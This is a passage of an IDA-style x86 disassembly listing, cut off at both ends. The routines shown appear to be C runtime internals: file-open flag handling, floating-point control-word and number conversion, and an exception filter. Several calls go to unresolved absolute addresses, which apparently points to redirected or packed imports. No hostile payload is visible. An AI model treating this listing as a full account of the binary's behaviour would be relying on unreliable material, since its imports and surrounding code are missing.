loc_41FF50 ; --------------------------------------------------------------------------- loc_41FF49: ; CODE XREF: sub_41FEC6+54j mov [ebp+var_C], 80000000h loc_41FF50: ; CODE XREF: sub_41FEC6+78j ; sub_41FEC6+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41FF7E cmp eax, 20h jz short loc_41FF75 cmp eax, 30h jz short loc_41FF6C cmp eax, 40h jnz short loc_41FF22 mov [ebp+var_10], esi jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF6C: ; CODE XREF: sub_41FEC6+9Aj mov [ebp+var_10], 2 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF75: ; CODE XREF: sub_41FEC6+95j mov [ebp+var_10], 1 jmp short loc_41FF81 ; --------------------------------------------------------------------------- loc_41FF7E: ; CODE XREF: sub_41FEC6+90j mov [ebp+var_10], ebx loc_41FF81: ; CODE XREF: sub_41FEC6+A4j ; sub_41FEC6+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41FFCB jz short loc_41FFC6 cmp ecx, ebx jz short loc_41FFC6 cmp ecx, edi jz short loc_41FFBD cmp ecx, 200h jz short loc_41FFE4 cmp ecx, 300h jnz loc_41FF22 mov [ebp+var_8], 2 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFBD: ; CODE XREF: sub_41FEC6+D8j mov [ebp+var_8], 4 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFC6: ; CODE XREF: sub_41FEC6+D0j ; sub_41FEC6+D4j mov [ebp+var_8], esi jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFCB: ; CODE XREF: sub_41FEC6+CEj cmp ecx, 500h jz short loc_41FFED cmp ecx, 600h jz short loc_41FFE4 cmp ecx, edx jz short loc_41FFED jmp loc_41FF22 ; --------------------------------------------------------------------------- loc_41FFE4: ; CODE XREF: sub_41FEC6+E0j ; sub_41FEC6+113j mov [ebp+var_8], 5 jmp short loc_41FFF4 ; --------------------------------------------------------------------------- loc_41FFED: ; CODE XREF: sub_41FEC6+10Bj ; sub_41FEC6+117j mov [ebp+var_8], 1 loc_41FFF4: ; CODE XREF: sub_41FEC6+F5j ; sub_41FEC6+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_420013 mov ecx, dword_4CD9BC not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_420013 push 1 pop esi loc_420013: ; CODE XREF: sub_41FEC6+138j ; sub_41FEC6+148j test al, 40h jz short loc_420021 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_420021: ; CODE XREF: sub_41FEC6+14Fj test ah, 10h jz short loc_420028 or esi, edi loc_420028: ; CODE XREF: sub_41FEC6+15Ej test al, 20h jz short loc_420034 or esi, 8000000h jmp short loc_42003E ; --------------------------------------------------------------------------- loc_420034: ; CODE XREF: sub_41FEC6+164j test al, 10h jz short loc_42003E or esi, 10000000h loc_42003E: ; CODE XREF: sub_41FEC6+16Cj ; sub_41FEC6+170j call sub_41FCAC mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_42005F loc_42004C: ; DATA XREF: ___:00427A84o ; ___:00427A90o and dword_4CD9B8, 0 mov dword_4CD9B4, 18h jmp short loc_42009D ; --------------------------------------------------------------------------- loc_42005F: ; CODE XREF: sub_41FEC6+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 2670000h mov esi, eax cmp esi, edi jz short loc_420090 push esi nop call near ptr 260092Dh test eax, eax jnz short loc_4200A4 push esi nop call near ptr 265089Dh loc_420090: ; CODE XREF: sub_41FEC6+1B6j nop call near ptr 26702AAh push eax call sub_41EF44 pop ecx loc_42009D: ; CODE XREF: sub_41FEC6+197j mov eax, edi jmp loc_42017A ; --------------------------------------------------------------------------- loc_4200A4: ; CODE XREF: sub_41FEC6+1C1j cmp eax, 2 jnz short loc_4200AF or [ebp+var_1], 40h jmp short loc_4200B8 ; --------------------------------------------------------------------------- loc_4200AF: ; CODE XREF: sub_41FEC6+1E1j cmp eax, 3 jnz short loc_4200B8 or [ebp+var_1], 8 loc_4200B8: ; CODE XREF: sub_41FEC6+1E7j ; sub_41FEC6+1ECj push esi push ebx call sub_41FD41 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4CECE0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_420161 test al, 80h jz short loc_420161 test byte ptr [ebp+arg_4], 2 jz short loc_420161 push 2 push 0FFFFFFFFh push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_420116 cmp dword_4CD9B8, 83h jz short loc_420161 jmp short loc_420155 ; --------------------------------------------------------------------------- loc_420116: ; CODE XREF: sub_41FEC6+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41E321 add esp, 0Ch test eax, eax jnz short loc_420143 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_420143 push [ebp+var_10] push ebx call sub_4211F1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_420155 loc_420143: ; CODE XREF: sub_41FEC6+265j ; sub_41FEC6+26Bj push 0 push 0 push ebx call sub_41E517 add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_420161 loc_420155: ; CODE XREF: sub_41FEC6+24Ej ; sub_41FEC6+27Bj push ebx call sub_41A6B7 pop ecx loc_42015C: ; CODE XREF: sub_41FEC6+6Cj or eax, 0FFFFFFFFh jmp short loc_42017A ; --------------------------------------------------------------------------- loc_420161: ; CODE XREF: sub_41FEC6+221j ; sub_41FEC6+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_420178 test byte ptr [ebp+arg_4], 8 jz short loc_420178 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_420178: ; CODE XREF: sub_41FEC6+29Fj ; sub_41FEC6+2A5j mov eax, ebx loc_42017A: ; CODE XREF: sub_41FEC6+1D9j ; sub_41FEC6+299j pop edi pop esi pop ebx leave retn sub_41FEC6 endp ; =============== S U B R O U T I N E ======================================= sub_42017F proc near ; CODE XREF: sub_41C50A+52p xor eax, eax retn sub_42017F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420182 proc near ; CODE XREF: sub_4201B7+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_4201CD mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_42025F pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_420182 endp ; =============== S U B R O U T I N E ======================================= sub_4201B7 proc near ; CODE XREF: sub_41C7F6+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_420182 pop ecx pop ecx retn sub_4201B7 endp ; =============== S U B R O U T I N E ======================================= sub_4201CD proc near ; CODE XREF: sub_420182+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_4201DE push 10h pop eax loc_4201DE: ; CODE XREF: sub_4201CD+Cj test bl, 4 jz short loc_4201E5 or al, 8 loc_4201E5: ; CODE XREF: sub_4201CD+14j test bl, 8 jz short loc_4201EC or al, 4 loc_4201EC: ; CODE XREF: sub_4201CD+1Bj test bl, 10h jz short loc_4201F3 or al, 2 loc_4201F3: ; CODE XREF: sub_4201CD+22j test bl, 20h jz short loc_4201FA or al, 1 loc_4201FA: ; CODE XREF: sub_4201CD+29j test bl, 2 jz short loc_420204 or eax, 80000h loc_420204: ; CODE XREF: sub_4201CD+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_42023C cmp edx, 400h jz short loc_420239 cmp edx, 800h jz short loc_420235 cmp edx, esi jnz short loc_42023C or eax, edi jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420235: ; CODE XREF: sub_4201CD+5Ej or eax, ebp jmp short loc_42023C ; --------------------------------------------------------------------------- loc_420239: ; CODE XREF: sub_4201CD+56j or ah, 1 loc_42023C: ; CODE XREF: sub_4201CD+4Ej ; sub_4201CD+62j ... and ecx, edi pop esi jz short loc_42024C cmp ecx, ebp jnz short loc_420251 or eax, 10000h jmp short loc_420251 ; --------------------------------------------------------------------------- loc_42024C: ; CODE XREF: sub_4201CD+72j or eax, 20000h loc_420251: ; CODE XREF: sub_4201CD+76j ; sub_4201CD+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_42025E or eax, 40000h locret_42025E: ; CODE XREF: sub_4201CD+8Aj retn sub_4201CD endp ; =============== S U B R O U T I N E ======================================= sub_42025F proc near ; CODE XREF: sub_420182+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42026F push 1 pop eax loc_42026F: ; CODE XREF: sub_42025F+Bj test bl, 8 jz short loc_420276 or al, 4 loc_420276: ; CODE XREF: sub_42025F+13j test bl, 4 jz short loc_42027D or al, 8 loc_42027D: ; CODE XREF: sub_42025F+1Aj test bl, 2 jz short loc_420284 or al, 10h loc_420284: ; CODE XREF: sub_42025F+21j test bl, 1 jz short loc_42028B or al, 20h loc_42028B: ; CODE XREF: sub_42025F+28j test ebx, 80000h jz short loc_420295 or al, 2 loc_420295: ; CODE XREF: sub_42025F+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_4202C2 cmp ecx, 100h jz short loc_4202BF cmp ecx, esi jz short loc_4202BA cmp ecx, edx jnz short loc_4202C2 or ah, 0Ch jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BA: ; CODE XREF: sub_42025F+50j or ah, 8 jmp short loc_4202C2 ; --------------------------------------------------------------------------- loc_4202BF: ; CODE XREF: sub_42025F+4Cj or ah, 4 loc_4202C2: ; CODE XREF: sub_42025F+44j ; sub_42025F+54j ... mov ecx, ebx and ecx, 30000h jz short loc_4202D8 cmp ecx, 10000h jnz short loc_4202DA or eax, esi jmp short loc_4202DA ; --------------------------------------------------------------------------- loc_4202D8: ; CODE XREF: sub_42025F+6Bj or eax, edx loc_4202DA: ; CODE XREF: sub_42025F+73j ; sub_42025F+77j pop esi test ebx, 40000h pop ebx jz short locret_4202E7 or ah, 10h locret_4202E7: ; CODE XREF: sub_42025F+83j retn sub_42025F endp ; =============== S U B R O U T I N E ======================================= sub_4202E8 proc near ; CODE XREF: sub_420387+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_42032D inc esi cmp esi, 3 jge short loc_420328 lea eax, [eax+esi*4] loc_42031A: ; CODE XREF: sub_4202E8+3Ej cmp dword ptr [eax], 0 jnz short loc_42032D inc esi add eax, 4 cmp esi, 3 jl short loc_42031A loc_420328: ; CODE XREF: sub_4202E8+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_42032D: ; CODE XREF: sub_4202E8+27j ; sub_4202E8+35j xor eax, eax pop esi retn sub_4202E8 endp ; =============== S U B R O U T I N E ======================================= sub_420331 proc near ; CODE XREF: sub_420387+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi js short loc_420383 lea edi, [ebx+esi*4] loc_42036A: ; CODE XREF: sub_420331+50j test eax, eax jz short loc_420383 push edi push 1 push dword ptr [edi] call sub_421337 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_42036A loc_420383: ; CODE XREF: sub_420331+34j ; sub_420331+3Bj pop edi pop esi pop ebx retn sub_420331 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420387 proc near ; CODE XREF: sub_4204E2+81p ; sub_4204E2+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_4203EB inc ebx push ebx push [ebp+arg_0] call sub_4202E8 pop ecx test eax, eax pop ecx jnz short loc_4203E8 push edi push [ebp+arg_0] call sub_420331 pop ecx mov [ebp+var_4], eax pop ecx loc_4203E8: ; CODE XREF: sub_420387+51j mov eax, [ebp+arg_4] loc_4203EB: ; CODE XREF: sub_420387+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_42040B mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_42040B: ; CODE XREF: sub_420387+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_420387 endp ; =============== S U B R O U T I N E ======================================= sub_420413 proc near ; CODE XREF: sub_4204E2+75p ; sub_4204E2+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_420421: ; CODE XREF: sub_420413+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_420421 pop esi retn sub_420413 endp ; =============== S U B R O U T I N E ======================================= sub_42042E proc near ; CODE XREF: sub_4204E2+5Fp ; sub_4204E2+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_42042E endp ; =============== S U B R O U T I N E ======================================= sub_42043A proc near ; CODE XREF: sub_4204E2+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_420440: ; CODE XREF: sub_42043A+12j cmp dword ptr [eax], 0 jnz short loc_420452 inc ecx add eax, 4 cmp ecx, 3 jl short loc_420440 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_420452: ; CODE XREF: sub_42043A+9j xor eax, eax retn sub_42043A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420455 proc near ; CODE XREF: sub_4204E2+C0p ; sub_4204E2+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_42048B: ; CODE XREF: sub_420455+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_42048B mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_4204BD: ; CODE XREF: sub_420455+86j cmp ebx, edi jl short loc_4204D0 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_4204D7 ; --------------------------------------------------------------------------- loc_4204D0: ; CODE XREF: sub_420455+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_4204D7: ; CODE XREF: sub_420455+79j dec ebx sub ecx, 4 jns short loc_4204BD pop edi pop esi pop ebx leave retn sub_420455 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4204E2 proc near ; CODE XREF: sub_42064E+Dp ; sub_420664+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_42054F lea eax, [ebp+var_C] xor esi, esi push eax call sub_42043A test eax, eax pop ecx jnz loc_42060E lea eax, [ebp+var_C] push eax call sub_42042E pop ecx loc_420547: ; CODE XREF: sub_4204E2+E4j push 2 loc_420549: ; CODE XREF: sub_4204E2+110j pop eax jmp loc_420610 ; --------------------------------------------------------------------------- loc_42054F: ; CODE XREF: sub_4204E2+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_420413 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 add esp, 10h test eax, eax jz short loc_420570 inc ebx loc_420570: ; CODE XREF: sub_4204E2+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_420588 lea eax, [ebp+var_C] push eax call sub_42042E pop ecx jmp short loc_4205C4 ; --------------------------------------------------------------------------- loc_420588: ; CODE XREF: sub_4204E2+98j cmp ebx, eax jg short loc_4205CB sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_420413 lea eax, [ebp+var_C] push esi push eax call sub_420455 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_420387 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_420455 add esp, 20h loc_4205C4: ; CODE XREF: sub_4204E2+A4j xor esi, esi jmp loc_420547 ; --------------------------------------------------------------------------- loc_4205CB: ; CODE XREF: sub_4204E2+A8j cmp ebx, [edi] jl short loc_4205F7 lea eax, [ebp+var_C] push eax call sub_42042E push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_420455 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_420549 ; --------------------------------------------------------------------------- loc_4205F7: ; CODE XREF: sub_4204E2+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_420455 pop ecx pop ecx loc_42060E: ; CODE XREF: sub_4204E2+55j xor eax, eax loc_420610: ; CODE XREF: sub_4204E2+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_42063F mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_420649 ; --------------------------------------------------------------------------- loc_42063F: ; CODE XREF: sub_4204E2+14Ej cmp edi, 20h jnz short loc_420649 mov ecx, [ebp+arg_4] mov [ecx], esi loc_420649: ; CODE XREF: sub_4204E2+15Bj ; sub_4204E2+160j pop edi pop esi pop ebx leave retn sub_4204E2 endp ; =============== S U B R O U T I N E ======================================= sub_42064E proc near ; CODE XREF: sub_42067A+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_436610 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_42064E endp ; =============== S U B R O U T I N E ======================================= sub_420664 proc near ; CODE XREF: sub_4206A7+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_436628 push [esp+4+arg_4] push [esp+8+arg_0] call sub_4204E2 add esp, 0Ch retn sub_420664 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42067A proc near ; CODE XREF: sub_41C92F+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_42064E add esp, 24h leave retn sub_42067A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206A7 proc near ; CODE XREF: sub_41C92F+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4214D8 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_420664 add esp, 24h leave retn sub_4206A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4206D4 proc near ; CODE XREF: sub_41C96D+65p ; sub_41CA71+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_420711 mov [ebp+arg_0], ebx xor ebx, ebx loc_4206F7: ; CODE XREF: sub_4206D4+38j mov dl, [ecx] test dl, dl jz short loc_420703 movsx edx, dl inc ecx jmp short loc_420706 ; --------------------------------------------------------------------------- loc_420703: ; CODE XREF: sub_4206D4+27j push 30h pop edx loc_420706: ; CODE XREF: sub_4206D4+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_4206F7 mov edx, [ebp+arg_8] loc_420711: ; CODE XREF: sub_4206D4+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_42072A cmp byte ptr [ecx], 35h jl short loc_42072A loc_42071D: ; CODE XREF: sub_4206D4+52j dec eax cmp byte ptr [eax], 39h jnz short loc_420728 mov byte ptr [eax], 30h jmp short loc_42071D ; --------------------------------------------------------------------------- loc_420728: ; CODE XREF: sub_4206D4+4Dj inc byte ptr [eax] loc_42072A: ; CODE XREF: sub_4206D4+42j ; sub_4206D4+47j cmp byte ptr [esi], 31h jnz short loc_420734 inc dword ptr [edx+4] jmp short loc_420746 ; --------------------------------------------------------------------------- loc_420734: ; CODE XREF: sub_4206D4+59j push edi call sub_417AB0 inc eax push eax push edi push esi call sub_4182C0 add esp, 10h loc_420746: ; CODE XREF: sub_4206D4+5Ej pop edi pop esi pop ebx pop ebp retn sub_4206D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42074B proc near ; CODE XREF: sub_41C96D+3Fp ; sub_41CA71+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_4207AF pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4CDB88 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4219A9 mov dword_4CDBB0, eax add esp, 18h movsx eax, byte_4CDB8A mov dword_4CDBA8, eax pop edi movsx eax, word_4CDB88 mov dword_4CDBAC, eax mov dword_4CDBB4, offset dword_4CDB8C mov eax, offset dword_4CDBA8 pop esi leave retn sub_42074B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4207AF proc near ; CODE XREF: sub_42074B+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_4207FD cmp ebx, edi jz short loc_4207F6 lea edi, [ecx+3C00h] jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207F6: ; CODE XREF: sub_4207AF+3Dj mov edi, 7FFFh jmp short loc_42081E ; --------------------------------------------------------------------------- loc_4207FD: ; CODE XREF: sub_4207AF+39j xor ebx, ebx cmp eax, ebx jnz short loc_420815 cmp edx, ebx jnz short loc_420815 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_420860 ; --------------------------------------------------------------------------- loc_420815: ; CODE XREF: sub_4207AF+52j ; sub_4207AF+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_42081E: ; CODE XREF: sub_4207AF+45j ; sub_4207AF+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_420836: ; CODE XREF: sub_4207AF+A6j test ecx, esi jnz short loc_420857 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_420836 ; --------------------------------------------------------------------------- loc_420857: ; CODE XREF: sub_4207AF+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_420860: ; CODE XREF: sub_4207AF+64j pop edi pop esi pop ebx leave retn sub_4207AF endp ; --------------------------------------------------------------------------- push 2 call sub_419CDA pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42086E proc near ; DATA XREF: ___:00435FE8o ; ___:00436AB0o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_420891 cmp dword ptr [eax+10h], 3 jnz short loc_420891 cmp dword ptr [eax+14h], 19930520h jnz short loc_420891 jmp sub_41D4FC ; --------------------------------------------------------------------------- loc_420891: ; CODE XREF: sub_42086E+Dj ; sub_42086E+13j ... mov eax, dword_4CDBB8 test eax, eax jz short loc_4208AE push eax call sub_42090A test eax, eax pop ecx jz short loc_4208AE push esi call dword_4CDBB8 jmp short loc_4208B0 ; --------------------------------------------------------------------------- loc_4208AE: ; CODE XREF: sub_42086E+2Aj ; sub_42086E+35j xor eax, eax loc_4208B0: ; CODE XREF: sub_42086E+3Ej pop esi retn 4 sub_42086E endp ; --------------------------------------------------------------------------- dword_4208B4 dd 42086E68h, 41E89000h, 0A3021BF7h, 4CDBB8h, 0B835FFC3h ; DATA XREF: ___:00426024o dd 90004CDBh, 1BF72FE8h ; --------------------------------------------------------------------------- add al, bl ; =============== S U B R O U T I N E ======================================= sub_4208D2 proc near ; CODE XREF: sub_41CD45+6Bp ; sub_41D256+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 25D0B72h test eax, eax jz short loc_4208EA xor esi, esi loc_4208EA: ; CODE XREF: sub_4208D2+14j mov eax, esi pop esi retn sub_4208D2 endp ; =============== S U B R O U T I N E ======================================= sub_4208EE proc near ; CODE XREF: sub_41D256+73p ; sub_41D256+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 2890000h test eax, eax jz short loc_420906 xor esi, esi loc_420906: ; CODE XREF: sub_4208EE+14j mov eax, esi pop esi retn sub_4208EE endp ; =============== S U B R O U T I N E ======================================= sub_42090A proc near ; CODE XREF: sub_41D256+15Bp ; sub_42086E+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] nop call near ptr 25D0AD9h test eax, eax jz short loc_42091E xor esi, esi loc_42091E: ; CODE XREF: sub_42090A+10j mov eax, esi pop esi retn sub_42090A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41D4FC loc_420922: ; CODE XREF: sub_41D4FC:loc_41D54Dj push 0Ah call sub_41F885 push 16h call sub_421C3C pop ecx pop ecx push 3 call sub_419AF6 ; END OF FUNCTION CHUNK FOR sub_41D4FC ; =============== S U B R O U T I N E ======================================= sub_420939 proc near ; CODE XREF: sub_41D609:loc_41D648p cmp dword_4CDC78, 0 jnz short locret_42094D call sub_42094E inc dword_4CDC78 locret_42094D: ; 